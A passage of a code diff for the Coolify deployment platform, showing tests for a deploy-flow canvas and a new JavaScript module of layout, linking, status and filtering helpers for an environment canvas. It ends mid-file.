https://c.com \n'), 'https://a.com,https://b.com,https://c.com'); +}); + +// Start → Server → (Service, Dockerfile → Env), and the one Deploy step. +const node = (id, type, data = {}) => ({ id, type, x: 0, y: 0, data }); +const fanOut = () => ({ + nodes: [ + node('start', 'start'), + node('srv', 'server'), + node('svc', 'service', { mode: 'template', type: 'umami' }), + node('df', 'dockerfile'), + node('env', 'env'), + node('dep', 'deploy'), + ], + edges: [ + { from: 'start', to: 'srv' }, + { from: 'srv', to: 'svc' }, + { from: 'srv', to: 'df' }, + { from: 'df', to: 'env' }, + ], +}); + +test('plans one line per resource under a server, each ending at its last step', () => { + const plan = planOf(fanOut()); + assert.equal(plan.deploy.id, 'dep'); + assert.deepEqual(plan.lines.map((l) => [l.server.id, l.source.id, l.settings.map((n) => n.id), l.end.id]), [ + ['srv', 'svc', [], 'svc'], + ['srv', 'df', ['env'], 'env'], + ]); +}); + +test('adds the deploy step to a flow without one and drops edges into it', () => { + const flow = withDeploy({ + nodes: [node('start', 'start'), node('srv', 'server'), node('img', 'image'), node('old', 'deploy')], + edges: [{ from: 'start', to: 'srv' }, { from: 'srv', to: 'img' }, { from: 'img', to: 'old' }], + }); + assert.deepEqual(flow.edges, [{ from: 'start', to: 'srv' }, { from: 'srv', to: 'img' }]); + assert.equal(flow.nodes.filter((n) => n.type === 'deploy').length, 1); + + const empty = withDeploy({ nodes: [node('start', 'start')], edges: [] }); + assert.equal(empty.nodes.filter((n) => n.type === 'deploy').length, 1); +}); + +test('allows only steps that fit after a step', () => { + const flow = fanOut(); + const byId = (id) => flow.nodes.find((n) => n.id === id); + assert.equal(canFollow(byId('srv'), 'image', null, flow), true); + assert.equal(canFollow(byId('start'), 'image', null, flow), false); + assert.equal(canFollow(byId('env'), 'deploy', byId('dep'), flow), false); // Deploy is connected on its own + assert.equal(canFollow(byId('svc'), 'build', null, flow), false); // build settings are for git only + assert.equal(canFollow(byId('dep'), 'env', null, flow), false); +}); + +test('refuses a link that would make a loop', () => { + const flow = fanOut(); + flow.nodes.push(node('env2', 'env')); + flow.edges.push({ from: 'env', to: 'env2' }); + const byId = (id) => flow.nodes.find((n) => n.id === id); + assert.equal(canFollow(byId('env2'), 'env', byId('env'), flow), false); +}); + +test('numbers resources that would have the same name', () => { + const names = uniqueLabels([ + node('a', 'image', { image: 'nginx' }), + node('b', 'image', { image: 'nginx' }), + node('c', 'service', { mode: 'template', type: 'umami' }), + ]); + assert.deepEqual([...names.values()], ['Docker image · nginx #1', 'Docker image · nginx #2', 'Service · umami']); +}); + +test('keeps secrets out of the stored flow', () => { + const flow = { + nodes: [ + node('env', 'env', { vars: 'TOKEN=abc' }), + node('svc', 'service', { mode: 'compose', compose: 'services: {}', name: 'web' }), + node('git', 'git', { repository: 'https://user:tok@github.com/a/b', branch: 'main' }), + node('pub', 'git', { repository: 'https://github.com/a/b' }), + ], + edges: [], + }; + const stored = withoutSecrets(flow); + assert.deepEqual(stored.nodes.map((n) => n.data), [{}, { mode: 'compose', name: 'web' }, { branch: 'main' }, { repository: 'https://github.com/a/b' }]); + assert.equal(flow.nodes[0].data.vars, 'TOKEN=abc'); // the open canvas keeps them +}); + +test('reads the environment that opened the canvas from the query string', () => { + assert.deepEqual(targetFrom('?project=p1a2&environment=e_3-x'), { project: 'p1a2', environment: 'e_3-x' }); + assert.equal(targetFrom(''), null); + assert.equal(targetFrom('?project=p1a2'), null); + assert.equal(targetFrom('?project=../servers&environment=e1'), null); + assert.equal(targetFrom('?project=p1&environment='), null); +}); + +test('points the Start step of a restored flow at the opening environment', () => { + const flow = { + nodes: [node('start', 'start', { project: 'old', environment: 'old-env' }), node('srv', 'server', { server: 's1' })], + edges: [{ from: 'start', to: 'srv' }], + }; + withTarget(flow, { project: 'p1', environment: 'e1' }); + assert.deepEqual(flow.nodes.map((n) => n.data), [{ project: 'p1', environment: 'e1' }, { server: 's1' }]); + assert.deepEqual(withTarget(flow, null).nodes[0].data, { project: 'p1', environment: 'e1' }); +}); + +test('a new canvas starts with a Server step connected to Start', () => { + const plan = planOf(fresh()); + assert.deepEqual(plan.servers.map((n) => n.id), ['server']); + assert.equal(plan.deploy?.type, 'deploy'); + assert.deepEqual(plan.lines, []); +}); + +test('selects the only option, and only when nothing is selected', () => { + assert.equal(onlyOption([['srv-1', 'localhost']], ''), 'srv-1'); + assert.equal(onlyOption([['srv-1', 'localhost']], undefined), 'srv-1'); + assert.equal(onlyOption([['srv-1', 'localhost']], 'srv-old'), 'srv-old'); + assert.equal(onlyOption([['srv-1', 'a'], ['srv-2', 'b']], ''), ''); + assert.equal(onlyOption([], ''), ''); + assert.equal(onlyOption(null, ''), ''); // still loading +}); + +test('keeps a dragged card off the other cards', () => { + const other = { x: 0, y: 0, w: 100, h: 100 }; + const free = { x: 300, y: 0, w: 100, h: 100 }; + assert.deepEqual(freeSpot(free, [other]), free); + // Overlaps from the right: pushed to the right edge, plus the gap. + assert.deepEqual(freeSpot({ x: 90, y: 10, w: 100, h: 100 }, [other], 16), { x: 116, y: 10, w: 100, h: 100 }); + // Overlaps from below: pushed under it. + assert.deepEqual(freeSpot({ x: 5, y: 80, w: 100, h: 100 }, [other], 16), { x: 5, y: 116, w: 100, h: 100 }); +}); + +test('finds a corner spot when two cards block the way', () => { + const cards = [{ x: 0, y: 0, w: 100, h: 100 }, { x: 116, y: 0, w: 100, h: 100 }]; + const spot = freeSpot({ x: 60, y: 20, w: 100, h: 100 }, cards, 16); + for (const c of cards) { + const apart = spot.x >= c.x + c.w + 16 || spot.x + spot.w + 16 <= c.x || spot.y >= c.y + c.h + 16 || spot.y + spot.h + 16 <= c.y; + assert.ok(apart, 'the spot does not touch a card'); + } + assert.deepEqual(spot, { x: 60, y: 116, w: 100, h: 100 }); +}); + +test('shows the logo of what a source step creates, like the rest of Coolify', () => { + const src = (type, data) => logoOf(node('n', type, data))?.src ?? null; + assert.equal(src('image', {}), '/svgs/resources/docker-image.svg'); + assert.equal(src('dockerfile', {}), '/svgs/resources/dockerfile.svg'); + assert.equal(src('database', { engine: 'postgresql' }), '/svgs/resources/postgres.svg'); + assert.equal(src('database', { engine: 'mysql' }), '/svgs/resources/mysql.svg'); + assert.equal(logoOf(node('n', 'database', { engine: 'keydb' })).dark, '/svgs/resources/keydb-dark.svg'); + assert.equal(src('git', { mode: 'public', buildPack: 'railpack' }), '/svgs/resources/public-repo.svg'); + assert.equal(src('git', { mode: 'github', buildPack: 'railpack' }), '/svgs/resources/github-app.svg'); + assert.equal(src('git', { mode: 'key', buildPack: 'railpack' }), '/svgs/resources/deploy-key.svg'); + assert.equal(src('git', { mode: 'public', buildPack: 'dockerfile' }), '/svgs/resources/dockerfile.svg'); + assert.equal(src('service', { mode: 'compose' }), '/svgs/resources/docker-compose.svg'); + // No engine or template yet, or a step that creates nothing: the step keeps its glyph. + assert.equal(src('database', {}), null); + assert.equal(src('server', {}), null); +}); diff --git a/resources/js/environment-canvas.js b/resources/js/environment-canvas.js new file mode 100644 index 0000000000..ed2f105912 --- /dev/null +++ b/resources/js/environment-canvas.js @@ -0,0 +1,621 @@ +// Environment canvas (Beta): pure helpers and constants. The Svelte +// components live in canvas/environment/. +// +// DOM-free: `node --test` imports this file. + +import { apart, BOX_GAP, MAX_ZOOM, MIN_ZOOM } from './canvas-core.js'; + +export const CARD_WIDTH = 260; +export const COLUMN_GAP = 48; +export const ROW_GAP = 24; +export const ZONE_GAP = 72; +export const ZONE_PADDING = 24; +export const ZONE_HEADER = 40; +export const MAX_CHILDREN = 5; +export const MAX_VOLUMES = 3; +export const MAX_ROWS = 6; // auto placement wraps a type into another column after this many cards +export const NO_SERVER = 'No server'; +export const DOUBLE_CLICK_MS = 400; +export const SOURCES_ZONE = 'sources'; +export const CONNECTED_ZONE = 'connected'; + +const COLUMNS = { application: 0, service: 1, database: 2 }; +/** Connect view: shared variable and tag cards are link sources; every other card is a resource. */ +export const isSource = node => node?.type === 'variable' || node?.type === 'tag'; +const columnOf = node => COLUMNS[node?.type] ?? 0; +const columnLeft = (originX, column) => originX + column * (CARD_WIDTH + COLUMN_GAP); +const isPoint = p => !!p && Number.isFinite(Number(p.x)) && Number.isFinite(Number(p.y)); +const storedPositions = graph => (graph?.positions && !Array.isArray(graph.positions) ? graph.positions : {}); + +// ── Pure helpers (tested) ───────────────────────────────────────────── + +/** Estimated card height in px; matches the rendered card closely enough for auto placement. */ +export function estimateNodeHeight(node) { + let height = 58; // padding + icon/name row + if (node?.urls?.length) height += 20; + if (node?.extra_zones?.length || node?.volumes?.length) height += 28; + const children = node?.children?.length || 0; + if (children) height += 12 + Math.min(children, MAX_CHILDREN) * 20 + (children > MAX_CHILDREN ? 20 : 0); + return height; +} + +/** Zones in display order (graph.zones order, then "No server"), each with its nodes. Empty zones are skipped. */ +export function zoneGroups(graph) { + const zones = graph?.zones || []; + const known = new Set(zones.map(z => z.id)); + const groups = zones.map(zone => ({ id: zone.id, name: zone.name, zone, nodes: [] })); + const none = { id: null, name: NO_SERVER, zone: null, nodes: [] }; + for (const node of graph?.nodes || []) { + if (node.zone !== null && node.zone !== undefined && known.has(node.zone)) { + groups.find(g => g.id === node.zone).nodes.push(node); + } else { + none.nodes.push(node); + } + } + return [...groups, none].filter(g => g.nodes.length); +} + +/** + * Card positions (top-left, world px) for every node. Stored positions win; + * other nodes are placed in their zone: applications left, services middle, + * databases right. Zones without stored cards stack below everything else. + */ +export function layoutGraph(graph) { + if (graph?.layout === 'server') return layoutServerView(graph); + if (graph?.layout === 'connect') return layoutConnectView(graph); + const stored = storedPositions(graph); + const out = {}; + const placedBottom = []; + const fresh = []; + for (const group of zoneGroups(graph)) { + const fixed = group.nodes.filter(n => isPoint(stored[n.id])); + if (!fixed.length) { + fresh.push(group); + continue; + } + for (const n of fixed) out[n.id] = { x: Number(stored[n.id].x), y: Number(stored[n.id].y) }; + const originX = Math.min(...fixed.map(n => out[n.id].x)); + const fixedBottom = Math.max(...fixed.map(n => out[n.id].y + estimateNodeHeight(n))); + // New cards go in a grid below the saved ones, so they never cover a saved card. + const bottom = placeGrid(group.nodes.filter(n => !out[n.id]), originX, fixedBottom + ROW_GAP, out); + placedBottom.push(Math.max(fixedBottom, bottom)); + } + let y = placedBottom.length ? Math.max(...placedBottom) + ZONE_PADDING + ZONE_GAP : 0; + for (const group of fresh) { + y = placeGrid(group.nodes, 0, y + ZONE_HEADER + ZONE_PADDING, out) + ZONE_PADDING + ZONE_GAP; + } + return out; +} + +/** + * Places nodes in a grid from (originX, top): applications, then services, then + * databases, each type in its own column(s) that wrap after MAX_ROWS cards. + * Returns the bottom of the lowest card (top when there are no nodes). + */ +function placeGrid(nodes, originX, top, out) { + let firstColumn = 0; + let bottom = top; + for (const column of [0, 1, 2]) { + const ofType = nodes.filter(n => columnOf(n) === column); + const nextY = []; + ofType.forEach((n, i) => { + const sub = Math.floor(i / MAX_ROWS); + nextY[sub] ??= top; + out[n.id] = { x: columnLeft(originX, firstColumn + sub), y: nextY[sub] }; + nextY[sub] += estimateNodeHeight(n) + ROW_GAP; + }); + firstColumn += nextY.length; + bottom = Math.max(bottom, ...nextY.map(v => v - ROW_GAP)); + } + return bottom; +} + +// ── Server view: project / environment groups, linked cards side by side ── + +export const GROUP_PADDING = 16; +export const GROUP_HEADER = 32; +export const GROUP_GAP = 32; +export const GROUPS_PER_ROW = 3; +export const SINGLE_COLUMNS = 3; + +const contextGroups = nodes => { + const groups = new Map(); + for (const n of nodes) { + const key = n.context || ''; + if (!groups.has(key)) groups.set(key, []); + groups.get(key).push(n); + } + // Server view: the unmanaged containers group comes first, so it is not lost below many projects. + const unmanaged = ([, members]) => (members[0]?.type === 'container' ? 0 : 1); + return [...groups.entries()].sort((a, b) => unmanaged(a) - unmanaged(b) || a[0].localeCompare(b[0])); +}; +const byTypeAndName = (a, b) => columnOf(a) - columnOf(b) || String(a.name).localeCompare(String(b.name)); + +/** + * Card positions inside one group, from (0, 0). Linked cards form chains from + * left to right (source before target, one column per step); every chain gets + * its own rows. Cards without links follow in a grid of SINGLE_COLUMNS. + */ +export function layoutBlock(nodes, links = []) { + const ids = new Set(nodes.map(n => n.id)); + const inside = links.filter(l => ids.has(l.source) && ids.has(l.target) && l.source !== l.target); + const parent = new Map(nodes.map(n => [n.id, n.id])); + const find = id => (parent.get(id) === id ? id : find(parent.get(id))); + for (const l of inside) parent.set(find(l.source), find(l.target)); + const order = [...nodes].sort(byTypeAndName); + const components = new Map(); + for (const n of order) { + const root = find(n.id); + if (!components.has(root)) components.set(root, []); + components.get(root).push(n); + } + + const out = {}; + const step = CARD_WIDTH + COLUMN_GAP; + let top = 0; + let columns = 0; + const singles = []; + for (const members of components.values()) { + if (members.length === 1) { + singles.push(members[0]); + continue; + } + // Depth: the longest path from a card without incoming links (cycles stop at the size of the chain). + const own = new Set(members.map(n => n.id)); + const edges = inside.filter(l => own.has(l.source)); + const depth = new Map(members.filter(n => !edges.some(l => l.target === n.id)).map(n => [n.id, 0])); + if (!depth.size) depth.set(members[0].id, 0); + for (let changed = true, rounds = 0; changed && rounds < members.length; rounds++) { + changed = false; + for (const l of edges) { + const next = (depth.get(l.source) ?? -1) + 1; + if (next > 0 && next > (depth.get(l.target) ?? -1)) { + depth.set(l.target, next); + changed = true; + } + } + } + const nextY = []; + for (const n of members) { + const d = depth.get(n.id) ?? 0; + nextY[d] ??= top; + out[n.id] = { x: d * step, y: nextY[d] }; + nextY[d] += estimateNodeHeight(n) + ROW_GAP; + } + columns = Math.max(columns, nextY.length); + top = Math.max(...nextY.filter(v => v !== undefined)) + ROW_GAP; + } + let rowHeight = 0; + singles.forEach((n, i) => { + const column = i % SINGLE_COLUMNS; + if (column === 0 && i > 0) { + top += rowHeight + ROW_GAP; + rowHeight = 0; + } + out[n.id] = { x: column * step, y: top }; + rowHeight = Math.max(rowHeight, estimateNodeHeight(n)); + }); + if (singles.length) columns = Math.max(columns, Math.min(singles.length, SINGLE_COLUMNS)); + const bottom = singles.length ? top + rowHeight : Math.max(0, top - ROW_GAP); + return { positions: out, width: columns * step - COLUMN_GAP, height: bottom }; +} + +/** + * A project / environment group with cards saved on its environment canvas: + * the same placement as that canvas (saved cards, then a grid below them), + * moved so the top-left card starts at (0, 0). Groups without saved cards use layoutBlock. + */ +export function layoutStoredBlock(nodes, stored, links = []) { + if (!nodes.some(n => isPoint(stored[n.id]))) return layoutBlock(nodes, links); + const zone = nodes[0].zone; + const placed = layoutGraph({ zones: [{ id: zone }], nodes: nodes.map(n => ({ ...n, zone })), positions: stored }); + const minX = Math.min(...nodes.map(n => placed[n.id].x)); + const minY = Math.min(...nodes.map(n => placed[n.id].y)); + const positions = Object.fromEntries(nodes.map(n => [n.id, { x: placed[n.id].x - minX, y: placed[n.id].y - minY }])); + return { + positions, + origin: { x: minX, y: minY }, + width: Math.max(...nodes.map(n => positions[n.id].x + CARD_WIDTH)), + height: Math.max(...nodes.map(n => positions[n.id].y + estimateNodeHeight(n))), + }; +} + +/** + * Top-left of the given cards where their environment canvas places them. A group saved for the first time + * from the server view goes there, so it does not cover the cards of the environment on other servers. + */ +function environmentOrigin(graph, nodes) { + const environment = nodes[0]?.environment?.uuid; + if (!environment) return { x: 0, y: 0 }; + const placed = layoutGraph({ + zones: graph.zones, + nodes: (graph.nodes || []).filter(n => n.environment?.uuid === environment), + positions: storedPositions(graph), + }); + return { x: Math.min(...nodes.map(n => placed[n.id].x)), y: Math.min(...nodes.map(n => placed[n.id].y)) }; +} + +/** + * Server view: zones stack downwards; inside a zone, one block per project / environment, GROUPS_PER_ROW per row. + * When `offsets` is given, it gets per card the shift from its environment canvas position to its server view + * position, so a moved card can be saved on its environment canvas. + */ +export function layoutServerView(graph, offsets = null) { + const stored = storedPositions(graph); + const out = {}; + let y = 0; + for (const zone of zoneGroups(graph)) { + const innerTop = y + ZONE_HEADER + ZONE_PADDING; + let x = 0; + let rowTop = innerTop; + let rowBottom = innerTop; + contextGroups(zone.nodes).forEach(([, nodes], i) => { + if (i > 0 && i % GROUPS_PER_ROW === 0) { + x = 0; + rowTop = rowBottom + GROUP_GAP; + } + const block = layoutStoredBlock(nodes, stored, graph.links || []); + const origin = offsets ? (block.origin ?? environmentOrigin(graph, nodes)) : null; + for (const [id, p] of Object.entries(block.positions)) { + out[id] = { x: x + GROUP_PADDING + p.x, y: rowTop + GROUP_HEADER + GROUP_PADDING + p.y }; + if (offsets) offsets[id] = { x: out[id].x - origin.x - p.x, y: out[id].y - origin.y - p.y }; + } + x += block.width + GROUP_PADDING * 2 + GROUP_GAP; + rowBottom = Math.max(rowBottom, rowTop + GROUP_HEADER + GROUP_PADDING * 2 + block.height); + }); + y = rowBottom + ZONE_PADDING + ZONE_GAP; + } + return out; +} + +/** + * Shared variables view: variable cards in one column on the left (by name). Resources that use a + * variable sit next to them in one column, grouped by project / environment, so every link runs + * straight from left to right. Other resources follow below in the server view grid. + */ +export function layoutConnectView(graph) { + const out = {}; + const groups = zoneGroups(graph); + const variables = groups.find(g => g.id === SOURCES_ZONE); + const connected = groups.find(g => g.id === CONNECTED_ZONE); + let y = ZONE_HEADER + ZONE_PADDING; + for (const n of [...(variables?.nodes || [])].sort((a, b) => String(a.name).localeCompare(String(b.name)))) { + out[n.id] = { x: 0, y }; + y += estimateNodeHeight(n) + ROW_GAP; + } + const offset = variables ? CARD_WIDTH + ZONE_PADDING * 2 + ZONE_GAP * 3 : 0; + let top = 0; + if (connected) { + y = ZONE_HEADER + ZONE_PADDING; + for (const [, nodes] of contextGroups(connected.nodes)) { + y += GROUP_HEADER + GROUP_PADDING; + for (const n of [...nodes].sort(byTypeAndName)) { + out[n.id] = { x: offset + GROUP_PADDING, y }; + y += estimateNodeHeight(n) + ROW_GAP; + } + y += GROUP_PADDING - ROW_GAP + GROUP_GAP; + } + top = y - GROUP_GAP + ZONE_PADDING + ZONE_GAP; + } + const others = groups.filter(g => g.id !== SOURCES_ZONE && g.id !== CONNECTED_ZONE); + const placed = layoutServerView({ zones: others.map(g => g.zone || { id: g.id }), nodes: others.flatMap(g => g.nodes) }); + for (const [id, p] of Object.entries(placed)) out[id] = { x: p.x + offset, y: p.y + top }; + return out; +} + +/** + * Shared variables view: moves the resources that use a shown variable into the "connected" zone, + * so they show apart from the other resources. Runs after filterGraph and after every link change. + */ +export function groupByUse(graph) { + if (graph?.layout !== 'connect') return graph; + const used = new Set((graph.links || []).map(l => l.target)); + return { + ...graph, + nodes: (graph.nodes || []).map(n => (!isSource(n) && used.has(n.id) ? { ...n, zone: CONNECTED_ZONE } : n)), + }; +} + +/** Frames of the project / environment groups of the given cards (server view). */ +export function groupFrames(nodes, positions, sizes = {}) { + const frames = []; + for (const [name, members] of contextGroups(nodes)) { + const rects = members.map(n => cardRect(n, positions, sizes)).filter(Boolean); + if (!rects.length) continue; + const minX = Math.min(...rects.map(r => r.x)); + const minY = Math.min(...rects.map(r => r.y)); + frames.push({ + name, + link: members[0].context_link, + x: minX - GROUP_PADDING, + y: minY - GROUP_PADDING - GROUP_HEADER, + width: Math.max(...rects.map(r => r.x + r.width)) - minX + GROUP_PADDING * 2, + height: Math.max(...rects.map(r => r.y + r.height)) - minY + GROUP_PADDING * 2 + GROUP_HEADER, + }); + } + return frames; +} + +/** Card rect from positions and measured sizes (falls back to the estimate). */ +export function cardRect(node, positions, sizes = {}) { + const p = positions?.[node.id]; + if (!p) return null; + return { + x: p.x, + y: p.y, + width: sizes[node.id]?.width ?? CARD_WIDTH, + height: sizes[node.id]?.height ?? estimateNodeHeight(node), + }; +} + +/** Frame per zone: bbox of its cards (or of its group frames) + padding, with room for the header on top. */ +export function zoneBoxes(graph, positions, sizes = {}) { + const boxes = []; + for (const group of zoneGroups(graph)) { + const rects = group.nodes.some(n => n.context) + ? groupFrames(group.nodes, positions, sizes) + : group.nodes.map(n => cardRect(n, positions, sizes)).filter(Boolean); + if (!rects.length) continue; + const minX = Math.min(...rects.map(r => r.x)); + const minY = Math.min(...rects.map(r => r.y)); + const maxX = Math.max(...rects.map(r => r.x + r.width)); + const maxY = Math.max(...rects.map(r => r.y + r.height)); + boxes.push({ + id: group.id, + name: group.name, + zone: group.zone, + nodes: group.nodes.map(n => n.id), + x: minX - ZONE_PADDING, + y: minY - ZONE_PADDING - ZONE_HEADER, + width: maxX - minX + ZONE_PADDING * 2, + height: maxY - minY + ZONE_PADDING * 2 + ZONE_HEADER, + }); + } + return boxes; +} + +const toBox = r => ({ x: r.x, y: r.y, w: r.width, h: r.height }); +// A frame reaches `side` past its cards left, right and below, and `top` above them. +const grow = (b, side, top) => ({ x: b.x - side, y: b.y - top, w: b.w + side * 2, h: b.h + side + top }); +const frameAround = (boxes, side, top) => { + const x = Math.min(...boxes.map(b => b.x)); + const y = Math.min(...boxes.map(b => b.y)); + return grow({ x, y, w: Math.max(...boxes.map(b => b.x + b.w)) - x, h: Math.max(...boxes.map(b => b.y + b.h)) - y }, side, top); +}; + +/** + * What a dragged card must keep clear of, for freeSpot(): `others` are the + * other cards and the other zone frames (and, server view, the other project / + * environment frames in its zone), grown by the room the card's own frames + * take around it. `fits` checks the card's own frames, which also span its + * other cards, against those frames. + */ +export function dragRules(graph, positions, sizes, id) { + const node = graph.nodes.find(n => n.id === id); + const own = zoneGroups(graph).find(z => z.nodes.some(n => n.id === id)); + const grouped = !!own?.nodes.some(n => n.context); + const context = n => n.context || ''; + const rects = nodes => nodes.filter(n => n.id !== id).map(n => cardRect(n, positions, sizes)).filter(Boolean).map(toBox); + const groupSide = grouped ? GROUP_PADDING : 0; + const groupTop = grouped ? GROUP_PADDING + GROUP_HEADER : 0; + const side = ZONE_PADDING + groupSide; + const top = ZONE_PADDING + ZONE_HEADER + groupTop; + const zones = zoneBoxes(graph, positions, sizes).filter(z => !z.nodes.includes(id)).map(toBox); + const groups = grouped ? groupFrames(own.nodes.filter(n => context(n) !== context(node)), positions, sizes).map(toBox) : []; + const zoneMates = rects(own?.nodes || []); + const groupMates = grouped ? rects(own.nodes.filter(n => context(n) === context(node))) : []; + // The other box must keep the frame's room on the side that faces the card. + const room = (b, s, t) => ({ x: b.x - s, y: b.y - s, w: b.w + s * 2, h: b.h + s + t }); + return { + others: [...rects(graph.nodes), ...zones.map(z => room(z, side, top)), ...groups.map(g => room(g, groupSide, groupTop))], + fits: box => zones.every(z => apart(frameAround([...zoneMates, box], side, top), z, BOX_GAP)) + && (!grouped || groups.every(g => apart(frameAround([...groupMates, box], groupSide, groupTop), g, BOX_GAP))), + }; +} + +/** + * SVG path between two card rects. Target right of source: right edge → + * left edge; target left of source: left edge → right edge; overlapping + * columns (stacked): bottom → top (or top → bottom when the target is above). + */ +export function linkPath(a, b) { + let side; + let from; + let to; + let c1; + let c2; + if (b.x >= a.x + a.width) { + side = 'right'; + from = { x: a.x + a.width, y: a.y + a.height / 2 }; + to = { x: b.x, y: b.y + b.height / 2 }; + } else if (b.x + b.width <= a.x) { + side = 'left'; + from = { x: a.x, y: a.y + a.height / 2 }; + to = { x: b.x + b.width, y: b.y + b.height / 2 }; + } else if (b.y + b.height / 2 >= a.y + a.height / 2) { + side = 'down'; + from = { x: a.x + a.width / 2, y: a.y + a.height }; + to = { x: b.x + b.width / 2, y: b.y }; + } else { + side = 'up'; + from = { x: a.x + a.width / 2, y: a.y }; + to = { x: b.x + b.width / 2, y: b.y + b.height }; + } + if (side === 'right' || side === 'left') { + const dx = Math.max(40, Math.abs(to.x - from.x) / 2) * (side === 'right' ? 1 : -1); + c1 = { x: from.x + dx, y: from.y }; + c2 = { x: to.x - dx, y: to.y }; + } else { + const dy = Math.max(40, Math.abs(to.y - from.y) / 2) * (side === 'down' ? 1 : -1); + c1 = { x: from.x, y: from.y + dy }; + c2 = { x: to.x, y: to.y - dy }; + } + const mid = { + x: (from.x + 3 * c1.x + 3 * c2.x + to.x) / 8, + y: (from.y + 3 * c1.y + 3 * c2.y + to.y) / 8, + }; + const r = v => Math.round(v * 10) / 10; + const d = `M ${r(from.x)} ${r(from.y)} C ${r(c1.x)} ${r(c1.y)}, ${r(c2.x)} ${r(c2.y)}, ${r(to.x)} ${r(to.y)}`; + return { d, side, from, to, mid }; +} + +const BUSY = ['starting', 'restarting', 'created', 'removing', 'in_progress', 'queued', 'deploying', 'building']; +const BAD = ['exited', 'stopped', 'dead', 'failed', 'error']; + +/** Coolify status string → 'ok' | 'warn' | 'bad' | 'idle' | 'busy'. */ +export function statusTone(status) { + const value = String(status ?? '').trim().toLowerCase(); + if (!value) return 'idle'; + const [state, health = ''] = value.replace(/\)$/, '').split(/\s*[:(]\s*/); + if (BUSY.includes(state)) return 'busy'; + if (BAD.includes(state)) return 'bad'; + if (state === 'degraded') return 'warn'; + if (state === 'running' || state === 'healthy') return health === 'unhealthy' ? 'warn' : 'ok'; + return 'idle'; +} + +/** "running:healthy" → "Running (healthy)". */ +export function statusLabel(status) { + const value = String(status ?? '').trim(); + if (!value) return 'Unknown'; + const [state, health] = value.replace(/\)$/, '').split(/\s*[:(]\s*/); + const word = state.charAt(0).toUpperCase() + state.slice(1).replace(/_/g, ' '); + return health ? `${word} (${health})` : word; +} + +/** + * Connect and server views: projects of the resources, each with its environments, sorted by name. + * @returns {{uuid: string, name: string, environments: {uuid: string, name: string}[]}[]} + */ +export function filterOptions(graph) { + const projects = new Map(); + for (const n of graph?.nodes || []) { + if (!n.project || !n.environment) continue; + if (!projects.has(n.project.uuid)) projects.set(n.project.uuid, { ...n.project, environments: new Map() }); + projects.get(n.project.uuid).environments.set(n.environment.uuid, n.environment); + } + const byName = (a, b) => String(a.name).localeCompare(String(b.name)); + return [...projects.values()] + .map(p => ({ uuid: p.uuid, name: p.name, environments: [...p.environments.values()].sort(byName) })) + .sort(byName); +} + +/** + * Connect and server views: only the resources of the chosen project / environment and their links. + * Variables always stay, so they can be added to the shown resources. + */ +export function filterGraph(graph, filter = {}) { + if (!graph || (!filter.project && !filter.environment)) return graph; + const keep = n => isSource(n) + || ((!filter.project || n.project?.uuid === filter.project) && (!filter.environment || n.environment?.uuid === filter.environment)); + const nodes = (graph.nodes || []).filter(keep); + const ids = new Set(nodes.map(n => n.id)); + return { ...graph, nodes, links: (graph.links || []).filter(l => ids.has(l.source) && ids.has(l.target)) }; +} + +/** + * Connect view: links go from a shared variable (not a deleted one) or a tag to a resource. + * Server view: links are saved on an environment canvas, so both cards must be in the same environment. + */ +export function canConnect(graph, source, target) { + if (graph?.layout === 'server') { + const environment = graph.nodes?.find(n => n.id === source)?.environment?.uuid; + return !!environment && source !== target && graph.nodes.find(n => n.id === target)?.environment?.uuid === environment; + } + if (graph?.layout !== 'connect') return !!source && !!target && source !== target; + const from = graph.nodes?.find(n => n.id === source); + const to = graph.nodes?.find(n => n.id === target); + return isSource(from) && !from.missing && !!to && !isSource(to); +} + +/** A link may be drawn between two different nodes that are not linked yet (either direction). */ +export function canLink(links, source, target) { + if (!source || !target || source === target) return false; + return !(links || []).some(l => (l.source === source && l.target === target) || (l.source === target && l.target === source)); +} + +// ── Card and panel constants (used by the Svelte components) ────────── + +// Application and service events go to the team channel; database events go to the user channel. +export const STATUS_CHANNELS = [['team', ['ApplicationStatusChanged', 'ServiceStatusChanged']], ['user', ['DatabaseStatusChanged']]]; +export const TYPE_LABELS = { application: 'Application', service: 'Service', database: 'Database', container: 'Unmanaged container', variable: 'Shared variable', tag: 'Tag' }; +// Wording of the connect view, per data-mode (shared variables or tags). +export const CONNECT_TEXT = { + variables: { + source: 'Variable', + added: (source, target) => `Added ${source} to ${target}. Redeploy it to use the variable.`, + removed: (source, target) => `Removed ${source} from ${target}. Redeploy it to apply.`, + already: (source, target) => `${target} already uses ${source}.`, + usedBy: 'Used by', + noTargets: 'No resource uses this variable.', + allTargets: 'Every resource already uses this variable.', + port: 'Drag to a resource to add this variable to it', + noSources: 'This resource uses no shared variable of this scope.', + sources: 'Shared variables', + addSources: 'Add shared variables', + searchSources: 'Search variables', + noMoreSources: 'No other shared variable to add.', + note: node => `Adding creates a ${node.name} variable with the value ${node.reference} on the resource. Redeploy or restart the resource to apply changes.`, + viewOnly: 'You can look around. Only team admins can add shared variables to resources.', + empty: 'No shared variables or resources yet', + }, + tags: { + source: 'Tag', + added: (source, target) => `Tagged ${target} with ${source}.`, + removed: (source, target) => `Removed the ${source} tag from ${target}.`, + already: (source, target) => `${target} already has the ${source} tag.`, + usedBy: 'Tagged', + noTargets: 'No resource has this tag.', + allTargets: 'Every resource already has this tag.', + port: 'Drag to a resource to tag it', + noSources: 'This resource has no tag.', + sources: 'Tags', + addSources: 'Add tags', + searchSources: 'Search tags', + noMoreSources: 'No other tag to add. Create tags on the Tags page.', + note: () => 'The deploy webhook of a tag deploys every tagged application and service.', + viewOnly: 'You can look around. Only team admins can tag resources.', + empty: 'No tags or resources yet', + }, +}; +export const TONE_DOT = { + ok: 'bg-emerald-500', + warn: 'bg-warning', + bad: 'bg-red-500', + idle: 'bg-neutral-400 dark:bg-neutral-500', + busy: 'bg-warning', +}; +// Outline icons, drawn from local paths. +export const ICONS = { + application: ['M3 6.5A2.5 2.5 0 0 1 5.5 4h13A2.5 2.5 0 0 1 21 6.5v11a2.5 2.5 0 0 1-2.5 2.5h-13A2.5 2.5 0 0 1 3 17.5z', 'M3 9h18', 'M9.5 13l-2 2 2 2', 'M14.5 13l2 2-2 2'], + service: ['M12 4 3 8.5l9 4.5 9-4.5z', 'M3 12.5l9 4.5 9-4.5', 'M3 16.5l9 4.5 9-4.5'], + database: ['M5 6c0-1.66 3.13-3 7-3s7 1.34 7 3-3.13 3-7 3-7-1.34-7-3z', 'M5 6v12c0 1.66 3.13 3 7 3s7-1.34 7-3V6', 'M5 12c0 1.66 3.13 3 7 3s7-1.34 7-3'], + container: ['M12 3 4 